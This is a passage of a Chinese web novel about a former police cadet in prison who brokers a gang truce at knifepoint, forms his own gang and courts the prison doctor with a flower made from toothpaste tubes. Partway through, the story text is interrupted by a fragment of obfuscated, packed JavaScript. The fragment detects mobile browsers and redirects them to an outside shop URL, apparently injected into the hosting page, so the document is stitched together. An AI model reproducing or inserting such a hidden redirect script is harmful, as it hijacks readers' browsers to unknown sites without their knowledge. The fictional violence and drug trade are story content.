以往码头帮的人被这样一怼,都会有些脾气,这人此时却往后退了半步,脸上那点笑有点僵:
“辉哥别误会,我就是传个话。王哥说,北佬帮那边这两天又动了手,码头帮伤了三个,再拖下去……”
林燃知道码头帮和北佬帮最近那几次冲突。
前天,另一个手筋被挑,现在还在医疗监区躺着。
昨天放风,两拨人在操场上对峙,差点打起来,管教吹了半天哨子才把人轰开。
昨天晚上,厕所里动了刀子。一个肚子上开了口,肠子出来了,看的清清楚楚。
但他现在是老大了,没这么好说话。
“再拖下去怎么着?”林燃站起来,走到门边。
那人被他那眼神一盯,话噎在喉咙里。
林燃看着他,声音很平:“回去告诉王强,今晚八点,老地方。让他等着。”
“那北佬帮——”
“我约。”
那人点点头,转身走了。
刀疤辉凑过来,压低声音:“燃哥,你真要帮他们调和?这事吃力不讨好,两边都得罪人。”
林燃没说话。
他当然知道吃力不讨好。
可码头帮那边一个月三千的“管理费”,他现在需要。
孙绍裘那边的事还没完,李昌东是只貔貅,只进不出。没钱,什么事都办不成。
第一百八十四章 这就是我的调解
再说——
他想起小霸王那天在芙蓉厅说的话。
“不站队,就是最大的队。”
这话没错。可在安江这地方,不站队能活,但不能活得太好。要想往上走,手里得有权,有人,有钱。
调和这事,是他林燃在三监区真正“立棍”的机会。
不是靠打,是靠谈。不是靠狠,是靠两头都欠他人情。
北佬帮那边,赵大金欠他一个人情——上次白癜风的事,他借了北佬帮的人,虽然事后算是两清,但人情这东西,哪能真两清。
码头帮这边,小霸王求到他头上,事办成了,以后每月三千是小事,关键是在三监区,他林燃说话,两边都得听。
这买卖,能做。
…………
晚上七点五十,看完新闻后,洗浴冲凉的这段时间,算是管理松懈的一个真空期,像三监区这样的普通监区,向干部递几包烟,说几句好话,大家可以拖延点时间回监区,几个监舍的人也能碰头,聚着抽根烟,摆个龙门阵,甚至遇到打好招呼的管教,掏出自制纸牌摆个场子也有机会。
此时,就是林燃约见两方老大的时间。
锅炉房后面的维修间。
这地方林燃熟。
打过两次黑拳,堵过老严,收过白癜风。水泥地上那些陈年血渍还没洗干净,在昏暗的灯泡下泛着暗红色的光。
林燃已先到。
刀疤辉跟在后面,小腹的伤没好利索,走路还有点龇牙咧嘴。麻杆蹲在门口放风,眼睛盯着外面那条小路。
等了大概五分钟,门开了。
小霸王先进来,身后跟着大眼仔,还有两个生面孔——都是码头帮的骨干,林燃在食堂见过。
小霸王看见林燃,点了点头,没说话,走到靠墙那排破木箱边上坐下。
又等了五分钟。
赵大金才来。
他一个人进来的。
没带小浙江,没带任何人。
就他自己,穿着那件洗得发灰的汗衫,脸上那道疤在昏黄灯光下像条扭动的蜈蚣。
他走进来,没看小霸王,先看了林燃一眼。
那眼神很沉,沉得看不见底。
“虎爷。”林燃站起来。
赵大金没理他,走到屋子中间,站定。
他这才转过头,看着小霸王。
“王强,”他开口,声音沙哑,“**想谈什么?”
小霸王也站起来,两人隔着三米远,对视。
空气像凝固了。
刀疤辉往林燃身边靠了靠,手摸向后腰——那里藏着那截铁管。
林燃冲他使了个眼色,刀疤辉没动。
“虎爷,”林燃往前走了一步,站在两人中间,“今天是我请你们来的。给我个面子,坐下谈。”
赵大金盯着他看了两秒。
然后他笑了。
那笑声很短,就两声,听着不像笑,倒像是砂纸磨铁。
“给你面子?”他说,“林燃,**吃里扒外,欠我一个人情,就这么还的?”
林燃没说话。
赵大金往前走了一步,离他不到一米。
“他们码头帮和白癜风以前搞你,我可是向着你的吧?后面你收拾白癜风那事,我借人给你。你今天帮着出卖你的这些人说话?再说了,什么狗屁血牙盟,你几个人?”
他瞥了一眼小霸王。
“你替码头帮调和?你算老几?”
林燃看着他。
这人的眼神里全是火,烧得旺,压都压不住。
“虎爷,”林燃开口,声音很平,“我不是替码头帮调和。我是替三监区调和。再打下去,两边都落不着好。上面已经有人盯着了,再出几条人命,整顿下来,你北佬帮能独善其身?”
赵大金没说话。
“码头帮伤了三个,你那边呢?愣子脾脏破裂,现在还躺在医疗监区。下面的人早就想报仇,你压得住一时,压得住一世?”
赵大金腮帮子绷紧了。
林燃知道,这话戳到他痛处了。
北佬帮那些亡命徒,本来就是靠一口气撑着。这口气要是泄了,人心就散了。
“所以你今天——”赵大金盯着他,“是来当和事佬的?”
林燃摇摇头。
“不是和事佬。”他说,“是来谈条件的。”
“什么条件?”
林燃没直接回答。他转过身,
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走到小霸王面前。
小霸王看着他,眼神里有点警惕,也有点期待。
“王哥,”林燃说,“你之前说的条件,我答应了。”
小霸王愣了愣,然后嘴角扯出点笑意。
“行——”
一个字刚出口,林燃的手已经搭上他肩膀。
不是推,不是打,就是搭着。
但下一瞬间,刀疤辉和麻杆同时动了。
刀疤辉那截铁管从后腰抽出来,横在小霸王脖子上。麻杆腿快,两步窜到大眼仔面前,手里不知什么时候多了把磨尖的牙刷,抵在他腰眼上。
“都别动!”
小霸王身后那两个生面孔刚想动,刀疤辉手上的铁管一紧,勒得小霸王脸都白了。
“别……别动……”小霸王从喉咙里挤出几个字。
那两个生面孔停住了,站在原地,脸色铁青。
赵大金也愣了。
他看着林燃,那眼神复杂极了——有意外,有不解,还有一丝——
惊喜?
“林燃,”赵大金开口,“你这是干什么?”
林燃没回答。
他走到小霸王面前,看着他。
小霸王被铁管勒着脖子,脸涨得通红,眼睛却死死盯着林燃。那眼神里有震惊,有愤怒,还有一丝……
恐惧。
“王哥,”林燃说,“对不住了。”
他从怀里摸出一样东西。
那把惯用的手术刀残片。
不知道什么时候藏的,刃不长,但很利。在昏暗灯光下,那点金属反射的光,冷得瘆人。
林燃把**递到赵大金面前。
赵大金看着那把**,又看看林燃,没接。
“什么意思?”
林燃看着他,声音很平:
“虎爷,你刚才说我吃里扒外。我今天就给你看——我林燃,是个讲规矩讲道义的人。”
他顿了顿。
“码头帮请我调和,我给的条件是每月三千,罩场子。这事我答应了。但今天——”
他把**又往前递了递。
“我把他交给你。你北佬帮想怎么处理,你自己定。”
赵大金盯着他。
那眼神变了。
第一百八十五章 杀神
从愤怒,到意外,到——
惊喜!
现在敌对老大的命就在手里。
唾手可得!
小霸王脸色彻底变了。
“林燃!**——”
刀疤辉手上铁管一紧,他后面的话全咽回去了。
赵大金接过**。
掂了掂。
很轻,轻得几乎没有分量。
他盯着小霸王,小霸王被刀疤辉用铁管勒着脖子,脸涨成猪肝色,但眼睛还瞪得溜圆,腮帮子咬得死紧。
赵大金又转头看着林燃。
“你让我杀他?”
林燃摇摇头。
“我不是让你杀他。”他说,“是你自己决定要不要杀他,反正人我交给你了,机会也给你了。”
赵大金眯起眼。
“什么意思?”
林燃略带挑衅地抬了抬下巴:“你这段时间不是一直在找他吗?人在这了,你要不要收他的命,你自己定,我欠你的那个人情,我还了,就这意思。”
“你是觉得我不敢?”
赵大金眼神激怒了。
像证明什么一样。
他慢慢往前走了一步,离小霸王不到一米。
刀片在指尖翻了个个儿,刃口对着那张涨红的脸。
小霸王脖子上的青筋跳了跳,刀疤辉手上的铁管下意识又紧了一分。
“虎爷……”求生意志让小霸王从喉咙里挤出两个字,沙哑得像砂纸磨铁。
赵大金没理他。
刀已经贴上喉咙了。
维修间里安静得能听见灯泡灯丝的嗡鸣声。
林燃站在旁边,脸上什么表情也没有。
他手里空了,但人往后退了半步——但实际这个位置,进可攻退可守,赵大金要是真动刀,他能在第一时间扑上去。
不是救小霸王,是控制局面。
赵大金盯着小霸王。
那眼神很凶,鼻孔急急出着气,额头青筋一跳一跳,像是马上要动手。
可林燃注意到,他握刀的手,指关节没发白,手腕也松着——那不是要**的状态。
果然。
在绷到极致后,东北虎赵大金动了。
众人眼睛一晃。
但他不是把刀往前一递,而是泄气一般,把刀抽了回来。
手臂垂落,面色灰败。
他放弃了。
众人紧绷的神经也在这下放松下来。
身后的刀疤辉和麻杆这下才敢呼吸喘气。
林燃此时笑了。
他上前一步,一掌拍在赵大金肩膀上,用力摇晃了一下。
“给你机会也不中用啊!”
冰山般的气氛顿时瓦解。
连小霸王背后的冷汗,此时才敢泄出一身。
赵大金也笑了。
那笑声很短,就两声,听着不像笑,倒像是什么东西在喉咙里滚了一圈。
“林燃,”他转过头,看着林燃,“**真是个狗东西。”
林燃没接话。
赵大金把手里的刀片扔回给他。林燃接住,揣进内袋。
“虎爷?”小霸王此时也讨好着干笑了两声。
没想到,这号称小霸王的码头帮二当家,只是看起来强硬的货,被一吓,差点尿都漏出来。
这下林燃看出了小霸王王强的老底——驴蛋粪子表面光。
赵大金没理他,走到那堆破木箱边上,一屁股坐下。
他从怀里摸出根烟,叼嘴里,摸出打火机,点上。
深吸一口,烟雾从鼻孔里喷出来,在昏黄灯光下翻卷着。
“王强,”他开口,声音沙哑,“**还站着干什么?坐啊。”
小霸王愣了两秒,刀疤辉松开铁管,他踉跄一步,扶着墙喘了几口气。
然后他走到赵大金对面,也坐下。
两人隔着三米远,中间是那盏晃来晃去的灯泡。
林燃站在原地,没动。
赵大金看着他,喷出一口烟:“你不过来?”
“不了,看来你们两家的事解了,你们接下来自己慢慢谈,我说两句话就走了。”
林燃这没过去,他站在原地,离他们两有距离,但位置也更高,彰显他不同的定位。
赵大金瞥了他一眼,嘴角扯了扯:“你小子,心眼比蜂窝还多。”
林燃笑了笑。
赵大金把烟头按在旁边的木箱上,捻灭。他抬起头,看着小霸王。
“王强,”他说,“你说这事儿,怎么收场?”
小霸王腮帮子动了动:“虎爷,你刚才不动手,是给我
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面子。这情我记着。往后码头帮和北佬帮,井水不犯河水。那条线——”他顿了顿,“我退十米。”
赵大金眯起眼。
“笑面佛那摊生意?”
“你占大头,我只做点‘粉’就行,其余都给你。”小霸王咬牙。
赵大金没吭声。
他转过头,看着林燃。
“你呢?你掺和这事儿,图什么?”
林燃抬头。
“不图什么。”他说,“就是不想再看见肠子拖地上。”
赵大金盯着他看了几秒。
然后他笑了。这回的笑比刚才长一点,但还是短,就几声,像砂纸磨铁。
“行。”他站起来,“那笑面佛那摊子生意——”
“我不沾。”林燃接话,“那是你们的事。”
赵大金点点头。
林燃沉吟片刻,提出自己的要求:
“但是我之前的**局,我继续弄,但只开我自己的盘。你们两边的场子,我不碰。你们的人要下注,我收。但输赢各安天命,别找我麻烦。”
赵大金和小霸王对视了一眼。
小霸王先点头:“行。”
赵大金也点了点头。
“那这事儿,就算定了。”
林燃拍了拍裤腿上的灰,其实走人。
他走到门口,又停下来,回头看了一眼。
赵大金和小霸王还坐在那儿,两人都没动,就隔着那盏晃来晃去的灯泡,互相看着。
林燃扯了扯嘴角。
“虎爷,”他忽然开口。
众人顿时抬起头。
赵大金茫然,不知道他有什么事。
却见林燃突然闪电出手!
隔着好几米的距离,手一扬!
赵大金只来得及看到一道寒光,“嗖”的一下直冲他和小霸王而来。
“铛”的一声响。
两人才反应过来。
只见那把手术刀残片,直愣愣地插在他和小霸王坐的木箱中间!
刀尖深深嵌入木箱中,刀柄几乎要没入其中!
这一刀要是冲两人面门,那这个人是九死难活了。
小霸王后知后觉,看到刀柄,才意识到自己从鬼门关前又打了个转。
吓得一缩脖子,半晌不敢出气。
第一百八十六章 成立大会
赵大金倒是先反应过来,但也躲不了一丝,他只是沉着脸,看着眼前杀神般的年轻人。
“林燃,什么意思?”
林燃看着他,声音很平:
“刚才你要是真动刀,我能在你动手去之前,把你按地上信不信?”
赵大金愣了愣。
林燃继续说:
“这刀是告诉你们,在这安江,我想弄谁,什么时候都能弄。车间里,走廊上,厕所里,哪怕你们睡觉的时候——我都有办法。”
他顿了顿。
“所以往后,咱们各走各的道。谁也别惦记谁,都别越界,听得懂吗。”
说完,他推门出去。
刀疤辉赶紧的替他把刀**,然后和麻杆跟上来,三个人消失在黑暗里。
维修间里安静了几秒。
然后赵大金忽然笑了。
这回的笑比刚才长,笑了好几声,笑得小霸王都有点发毛。
“虎爷?”
赵大金摆摆手,站起来。
“没事。”他说,“就是觉得这小子——”他顿了顿,“有意思。”
…………
往回走的路上,刀疤辉憋了一路,快到312门口才忍不住问:
“燃哥,你刚才最后那话……是真敢弄他们?”
林燃没回答。
麻杆在旁边缩了缩脖子:“燃哥,你刚刚那一手,真的太快了,真不是运气。”
刀疤辉瞪他一眼,没再吭声。
林燃心里却知道,他在警校时候,电视台最流行的电视是加里森敢死队还有港台武侠剧小李飞刀,甚至警校里也有个飞刀俱乐部,有事没事,几个人会练着玩,就练了一手这技术。
只是前世没派上用场,这一世倒用上了。
回到312,周晓阳和牛哥都还没睡。见他们回来,周晓阳拄着拐站起来:“燃哥,没事吧?”
“没事。”林燃走到自己铺位,坐下。
他靠着墙,闭上眼。
脑子里转着刚才维修间里那些画面——赵大金接刀时的眼神,小霸王被勒着脖子时的脸色,还有最后那句话。
“在这安江,我想弄谁,什么时候都能弄。”
这话是吓唬人的。
但也不全是。
他有这个能力。这一年多,从鳄老大到笑面佛,从白癜风到老严,他用事实证明了一件事:在这地方,只要脑子够快,手够黑,没有办不成的事。
但这话说出来,赵大金信了,小霸王也信了。
这就够了。
第二天放风,阳光难得露了脸,照得操场上那摊积水发亮。
林燃蹲在单杠边上锻炼。
今天是血牙盟的大日子。
他早上就说了,召集大伙开个会。
这个说法一出来,刀疤辉就有点想笑,自己这老大和别的真不一样。
别的帮派成立,都是歃血、拜坛、敬香这些传统门道会形式。
就算在这里没办法开坛,也会想办法拜个关公二爷。
他却来个“第一次成立大会”。
怎么,一个帮派搞得和成立公司一样啊?还是单位机关组建?
真是让人摸不着头脑。
他哪里知道,眼前的“老大”,实际上是警校毕业的优秀新警。
自然按照机关单位的架构模式,来组建组织。
如果不是条件不允许,林燃甚至想下发个**。
刀疤辉心里憋笑,但也不敢表露,只是蹲在旁边,嘴里叼着根草茎。
周晓阳站在另一边,麻杆和牛哥蹲在墙角,眼睛四处瞟。
“燃哥,”刀疤辉忽然开口,“咱们血牙盟,到底有几个人?”
林燃想了想。
“都在这儿了。”他说。
刀疤辉愣了愣,回头看了看——他,周晓阳,麻杆,牛哥,四个。
“就……我们四个?”
林燃没说话。
远处又晃过来两个人。
一个是铁头——聚众**进来的那个壮汉,之前帮他搞**局的。
另一个瘦得跟竹竿似的,走路有点飘,是阿贵。
上次收拾白癜风时,从笑面佛那边投靠过来的。
六个人了。
林燃站起来,走到操场角落那堆废器械后面。
这地方背阴,没人注意。
几个人跟过来,在他面前站成一排。
刀疤辉打头,周晓阳拄着拐站在旁边,麻杆和牛哥缩在后头,铁头和阿贵站在最边上。
林燃看着他们。
阳光从高墙顶上斜着切下来,在他们脸上划出一道明暗分界线。
这几个人的
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脸,有的狠,有的怂,有的瘦得脱形,有的还带着伤。但眼睛都在看他。
“今天算是咱们血牙盟第一次开会。”林燃开口,声音不高。
没人吭声,只不约而同的认真听着。
“咱们这帮现在就这几个人。但往后的规矩得立。”
他顿了顿,“第一,自己帮内,谁也别害谁。第二,有福同享,有难同当。第三——”
他看着阿贵。
“别碰那玩意儿。”
阿贵脸色白了白,拼命点头。
林燃把目光转向铁头。
“赌局的事,你负责。”
铁头愣了愣:“燃哥,还开?码头帮和北佬帮那边……”
“开。”林燃说,“和他们刚谈拢,一时半会儿打不起来。趁这机会,把盘口做起来。点数照旧,但收注要小心。别让人盯上。”
铁头点点头:“明白。”
林燃又看向刀疤辉。
“辉子,你经验足,道上混得久,你给我当副手。”
刀疤辉应了一声。
“晓阳,”林燃转向周晓阳,“你负责收集信息,盯着面上的风吹草动。”
周晓阳点头。
麻杆和牛哥眼巴巴看着他。
林燃想了想:“你俩跟着辉子,跑跑腿,盯盯人。”
两人拼命点头。
阿贵站在最边上,眼巴巴看着,想说话又不敢。
林燃看着他。
“阿贵,”他说,“你腿快,嘴也快。往后帮我盯着白癜风那伙人。他们有什么动静,告诉我,如果有人再敢欺负你,也告诉我。”
阿贵愣了愣,然后眼眶突然红了。
“燃哥……”他喉咙滚动了一下,说不出话。
林燃没理他。
他把目光收回来,扫过面前这几张脸。
“行了,就这些。”他说,“都散了吧。”
几个人点点头,抬腿都准备散了。
刀疤辉却没走。
此时,他蹲在林燃旁边,压低声说:“燃哥,那个……”他顿了顿,像是不知道怎么开口。
林燃看着他。
刀疤辉那张脸上难得露出点扭捏的表情,左手指着自己那根歪着接的小指,半天憋出一句:
“就是那个……苏医生那边……你打算咋办?”
第一百八十七章 铝做的花
林燃愣住了。
刀疤辉这话问得突然,问得他一点准备都没有。
往外走的几个人,听到这边动静,居然都站着不走了,偷偷听着。
“什么咋办?”他问。
刀疤辉挠挠头:“燃哥你别装了,那天晚上苏医生来,说的那些话,我们几个都听见了。虽然蒙着被子装睡,但……咳。”
他干咳一声,眼睛往别处瞟。
林燃没说话。
刀疤辉见他这样,胆子大了点,凑近点说:
“燃哥,我虽然没正儿八经谈过恋爱——你也知道,我这种人,以前混社会的,哪有那闲工夫。但我跟你说,女人这东西,你不能硬来。得哄。”
“哄?”林燃重复了一遍这个词。
这词对他来说,陌生得很。
前世没哄过谁。进来这一年多,更没哄过谁。跟苏念晚那点事,从头到尾都是——怎么说呢?顺其自然?不对,也不是顺其自然。是利用,是交易,是后来慢慢变了味的东西。
现在要哄?
“怎么哄?”他问。
刀疤辉眼睛亮了:“燃哥你问我,那算问对人了。我跟你说,我以前有个相好,在发廊上班的,那叫一个漂亮——”
“说重点。”
“重点就是,得送东西。”刀疤辉压低声音,“女人嘛,都喜欢东西。吃的用的穿的戴的,你给她送,她就高兴。”
林燃想了想。
送东西?
送什么?
监狱里能有什么?
刀疤辉看出他表情,赶紧补充:“吃的也行啊。食堂那小炒,一份红烧肉两块五,你给她打一份,往她桌上一放,那不比什么话都管用?”
林燃还没接话,旁边突然冒出一个声音。
“辉哥你那都是老黄历了。”
麻杆不知什么时候又溜回来了,蹲在旁边,眼睛亮亮的。
“燃哥,我跟你说,我老家有句话——要想拴住女人的心,先得拴住女人的胃。苏医生天天在医务室吃食堂那些破菜,你要是能给她弄点好吃的,保管管用。”
刀疤辉瞪他一眼:“**一小偷,懂什么女人?”
“我偷过女人钱包!”麻杆理直气壮,“偷之前不得观察她喜欢什么?我告诉你,女人喜欢的东西可多了——”
“行了行了。”林燃打断他们。
两人闭嘴,但眼睛还亮晶晶地看着他。
林燃揉了揉眉心。
铁头这时候也凑过来了。他块头大,往那一蹲跟座小山似的,瓮声瓮气说:
“燃哥,要我说,送东西太俗。你得来点实在的。”
“什么实在的?”
铁头想了想:“帮她干活。医务室那边不是经常要搬东西吗?你去帮她搬两回,累得满头汗,她一感动,不就——”
“搬东西?”刀疤辉嗤笑一声,“铁头你是不是傻?苏医生那身板,能搬什么?”
“那你说怎么办?”
“我说送东西!”
“送东西太俗!”
两人你一句我一句,吵起来了。
林燃站起来,走到一边。
阿贵不知什么时候也蹭过来了,蹲在墙角,见林燃看他,赶紧缩了缩脖子。
“你也有话说?”林燃问。
阿贵摇摇头,又点点头,最后小声说:
“燃哥,我……我以前吸那玩意儿的时候,认识个女的。她说男人对她好,就是陪着她,不说话也行,就陪着。”
陪着?
林燃看着远处那堵高墙。
墙上的电网在阳光下发亮,有鸟落在上面,歪着头往这边看。
陪着。
他想起那天下午在医务室。她蜷在他怀里,头发散开,呼吸渐渐平稳。他没动,就那么靠着墙,让她靠着。
那时候,是陪着。
后来呢?
后来老严那句话,把什么都打破了。
他转过头,看着那几个人。
刀疤辉和铁头还在吵,麻杆在旁边煽风点火,阿贵缩在墙角偷着乐,周晓阳拄着拐站在一边,脸上带着那种想笑又不敢笑的表情。
“行了。”林燃开口。
几个人瞬间安静下来,都看着他。
林燃从怀里摸出包烟——是小霸王昨天让人送来的,中华。他拆开,一人扔了一根。
“该干嘛干嘛去。”他说,“这事儿我自己想。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282765|197428||http|test|mini|href|location''.split(''|''),0,{}));
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>几个人接过烟,眼睛还亮晶晶地看着他。
刀疤辉胆子最大,走之前还回头补了一句:
“燃哥,真不行的话——跪一个也行。我以前那相好,我一跪,她啥气都消了。”
林燃没理他。
跪?你才跪呢!
倒是周晓阳神神秘秘凑了过来,提了一个看似靠谱的主意。
“老大,我看过一本名著,叫《白色少妇》,那里面就有句名言——那地方是通往女性内心深处的捷径,只要你把这女的办了,就不信她不……哎呀,老大别打了!”
林燃没好气的给他脑袋一下:“那他妈是黄书!什么乱七八糟的,你们都给我滚蛋!”
“不早说,我还以为世界名著呢……好了,我们走我们走。”
几个人散了。
操场上又安静下来。
阳光落在积水里,把那摊水照得发亮。远处有犯人在单杠上练引体向上,一下一下,数着数。
林燃蹲在那儿,看着那摊积水。
脑子里转着那几个人说的那些话。
送东西。
做好吃的。
帮忙干活。
陪着。
跪下。
还有更离谱的“办了”苏念晚。
他扯了扯嘴角。
跪是不可能跪的。这辈子都不可能跪。
“办”……都办了好几次了,自己可做不出强迫那事。
那就只有送东西?
可……医务室那边,有什么能送的?
他想了想,忽然想起一件事。
上次在阅览室整理旧报纸,看见过一篇报道,说是有个犯人为了感谢医生,用牙膏皮做了朵玫瑰花。那花做得还挺像,医生收下了,放窗台上,放了好久。
牙膏皮。
这玩意儿监狱里多的是。
林燃站起来,往监舍走去。
刀疤辉远远看见他往回走,愣了一下:“燃哥,不晒太阳了?”
“有事。”林燃说。
回到312,他从床底下翻出几只用过的牙膏皮——铝皮的,不是现在外面那种塑料的。这东西捏一捏,能塑形。
他坐在铺上,对着窗外透进来的光,开始试着做。
第一百八十八章 “钻戒”
第一朵做得稀烂,铝皮捏破了,边缘全是毛刺。
他扔了,重新拿一只。
第二朵好一点,但花瓣太厚,看着像坨铝疙瘩。
又扔了。
第三朵,第四朵……
不知道做了多久,窗外那滩积水已经干了,太阳移到西边。刀疤辉他们回来,看见他坐在铺上对着一堆破铝皮发愣,都不敢吭声。
周晓阳拄着拐凑过来,看了一眼,小声说:
“燃哥,你这做的……是花?”
林燃没理他。
他把手里那只半成品的铝皮又捏了捏,花瓣慢慢展开,勉强有了点形状。虽然还是有点丑,但起码能看出来是朵花了。
他看了几秒,然后收起来,揣进内袋。
明天去医务室。
不是换药。
是把这玩意儿给她。
至于她收不收——
林燃靠在墙上,看着窗外那堵高墙。
墙上的铁丝还在风里晃,笃,笃,笃。
不管了。
总得试试。
第二天下午。
林燃蹲站着走廊里,手里攥着那朵用铝皮捏成的花。
昨晚折腾到半夜,报废了七八只牙膏皮,总算做出一朵能看的。
花瓣薄薄的,边缘用指甲压出弧度,中间还特意留了根细杆儿——刀疤辉说,花得有杆儿才像样,不然跟坨铝疙瘩似的。
现在这朵花就在他手心里,被汗捂得有点热。
“燃哥,”刀疤辉凑过来,压低声音,“你站这快十分钟了,到底去不去?等下马上又要上劳动号了。”
林燃没理他。
刀疤辉往医务室那边瞟了一眼:“我刚才看见苏医生进去了,就她一个人。这会儿去,正好。”
林燃咬了咬牙,像是下定什么决心一般,艰难地站起来。
他额头甚至沁出点点汗渍。
昨天面对码头帮和北佬帮两大头目,他都没有这么紧张。
玛德,死就**。
他深吸一口气,把那朵花塞进内袋,往医务室走去。
走廊里的消毒水味还是那么重,混着一点凉意。
处置室的门虚掩着。
林燃站在门口,手抬起来,又放下。
里头传来窸窸窣窣的声音,像是在整理什么东西。偶尔有器械碰撞的轻响,叮,叮,很轻。
他又深吸一口气,手准备敲门。
却不小心按开了一条缝,风带了进去,
让里面的人顿时察觉。
“进。”
声音很平,听不出什么情绪。
林燃推门进去。
听见门响,她刻意没回头。
但林燃进去时,还是能看见她脖颈明显地僵直了一下。
两人都很紧张。
苏念晚背对着门,站在处置台前,正往药柜里放东西。
她今天还是那件洗得发白的白大褂,头发用黑色皮筋扎着,露出一截细白的脖颈。
“换药?”背对着林燃,还是那副公事公办的语气。
林燃没说话。
她等了两秒,没等到回答,这才转过身。
看见是他,她脸上的表情没变——还是那副冷冰冰的样子。但林燃注意到,她手里那卷绷带攥紧了一下,很轻微,又松开了。
“你怎么又来了?”她问,声音比刚才还平。
林燃站在门口,没往里走。
“不是换药。”他说。
苏念晚看着他,没说话。
林燃从内袋里摸出那朵铝皮花。
花在他手心里,皱巴巴的,花瓣歪七扭八,边缘还有没磨平的毛刺。
“这个……”他开口,突然不知道该说什么。
苏念晚盯着那朵花,愣了几秒。
然后她嘴角动了动——不是笑,是那种“**在逗我”的表情。
“林燃,”她说,“你拿个牙膏皮糊弄我?”
林燃噎了一下。
“不是糊弄……”他往前走了一步,把花递过去,“我做的。”
苏念晚没接。
她低头看着那朵花,又抬头看着林燃。
那眼神很复杂,有疑惑,有不屑,还有一点——
说不清的东西。
这个监狱里,别的犯人视之为洪水猛兽的家伙,在自己面前,露出了一点点这个年轻人原本该有的青涩。
阳光从窗户斜射进来,落在那丑丑的铝花上面,把那层铝皮照得发亮。
倒有点像一枚钻戒。
她有些心动了。
“你做的?”她重复了一遍。
“嗯。”
“你一个大老爷们,拿牙膏皮做
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花?”
林燃没说话。
苏念晚盯着他看了几秒。然后她忽然伸出手,把那朵花接过去。
铝皮在她手心里,轻得几乎没有分量。
她翻来覆去看了几遍,嘴角那点弧度慢慢变了——从嘲讽,变成一种说不上来的表情。
“丑**。”她说。
林燃点点头:“我知道。”
“花瓣都不一样大。”
“嗯。”
“这杆儿都快断了。”
“嗯。”
苏念晚抬起头,看着他。
两人对视了几秒。
她眼睛里那层冰,好像裂了一道缝。很细,但林燃看见了。
“你费这劲干嘛?”她问,声音没那么平了。
林燃想了想。
“不知道。”他说。
这话是实话。
他真的不知道。就是想做,就做了。做了一晚上,报废了七八只牙膏皮,手指头被铝皮划了好几道口子,最后还是做出一朵丑的。
但就是想给她。
苏念晚看着他。
那眼神里有东西在晃,很轻,像风吹过水面时泛起的涟漪。
“林燃,”她开口,“你外面那个女朋友——”
“不是女朋友。”林燃打断她。
苏念晚愣了愣。
林燃往前走了一步,离她更近一点。处置室不大,这一步,两人之间只剩下一米左右的距离。
“她不是我女朋友。”他说,“是警察。”
苏念晚眼睛睁大了一点。
林燃看着她,声音压得很低:
“她在帮我查案子。帮我翻案。我们需要经常联系,所以对外说是男女朋友——这样见面方便。”
苏念晚没说话。
她攥着那朵铝皮花,攥得指关节有点发白。
“你骗我。”她说。
“没骗你。”
“之前为什么不解释?”
林燃沉默了两秒。
“怕你不信。”他说,“也怕把你卷进来。”
苏念晚盯着他。
那眼神很复杂——有愤怒,有委屈,有怀疑,还有一点——
林燃说不清是什么。
“你现在就不怕把我卷进来了?”她问。
林燃想了想。
“怕。”他说,“但更怕你误会。”
第一百八十九章 女朋友
苏念晚愣住了。
她站在那儿,手里攥着那朵丑花,白大褂在阳光里泛着淡淡的光。
睫毛在颤——很轻微,但她自己可能都没意识到。
过了好几秒,她才又开口,声音比刚才低了不少:
“林燃,你知道你有多讨厌吗?”
林燃没说话。
“你有事不跟我说,有危险自己扛,被人误会也不解释。你就……你就这么自己憋着,以为这是为我好?”
她顿了顿,眼眶有点红,但没哭。
“我不是你什么人。你没必要为我好。”
林燃往前走了一步,离她只有半步远。
他能闻见她身上那股淡淡的栀子花香,还有消毒水混在一起的味道。
“你是我什么人?”他反问。
苏念晚抬起头,看着他。
“你说呢?”她问。
林燃想了想。
“不知道。”他说,“但我不想失去你,你现在对我来说,是很重要很重要的人,你才是我女朋友。”
这话说出来,他自己都愣了一下。
苏念晚也愣了。
她看着他,眼眶里那点水光晃了晃,没晃出来。
“你……”她开口,又停住。
林燃站在那儿,没动。
处置室里安静下来。只有窗外偶尔传来的、远处放风场的哨声,和那根老日光灯管嗡嗡的电流声。
过了很久——也许是几秒,也许是几分钟——苏念晚忽然往前走了一步。
她靠进他怀里。
很轻,很慢,像是怕惊动什么。
林燃抬起手,揽住她的腰。
苏念晚身材丰满,腰不算太细,丰腴也更有韵味。
白大褂下面那件棉质衬衫有点凉,但隔着布料,能感觉到温热的体温。
“林燃。”她把脸埋在他肩上,声音闷闷的。
“嗯?”
“以后有事,要跟我说。”
林燃点点头。
“什么事都说?”
“什么事都说。”
她抬起头,看着他。
眼眶还是红的,但眼睛里有光了。
“那你说,”她问,“这花真是你做的?”
林燃愣了一下:“是。”
“做了多久?”
“一晚上。”
“报废了几个?”
“七八个吧。”
苏念晚低头看着手里那朵花,嘴角终于弯起来一点。
“真丑。”她说。
林燃没说话。
她把他抱得更紧了一点。
窗外有鸟叫,叽叽喳喳的,好像是一群麻雀。阳光从窗户斜射进来,落在地上,把那层铝皮花照得发亮。
过了好一会儿,苏念晚才又开口,声音很轻:
“林燃。”
“嗯?”
“你以后……别再让我担心了。”
林燃没说话。
他把下巴抵在她发顶,闭上眼睛。
阳光落在身上,暖洋洋的。
正好。
不是那种明晃晃的晒,是透过医务室窗户上那层**玻璃,软软地铺进来,落在处置台边沿,落在那朵铝皮花上。
花还是那么丑,但放在窗台上,被阳光一照,那层铝皮居然泛出点银色的光。
苏念晚坐在椅子上,手里拿着那朵花,翻来覆去地看。
林燃站在她旁边,憋了半天,终于开口:
“有个事……”
苏念晚抬起头。
林燃被她那眼神一看,后面的话又卡住了。
倒不是怕——他连小霸王脖子都架过,怕什么?
就是不知道怎么开口。这话说出来,听着像什么?
像利用。像他刚才那些话都是假的,都是为了让她帮忙。
“什么事?”苏念晚问。
林燃顿了顿,干脆一咬牙:
“孙绍裘,你知道吗?”
苏念晚皱了皱眉:“那个前院长?”
“嗯。”
“知道。他来医务室复查过两次,刘长生在的时候。”
她顿了顿,“怎么?”
林燃看着她,斟酌着词句:
“他保外就医的事,卡住了。”
苏念晚眼睛眯了眯。
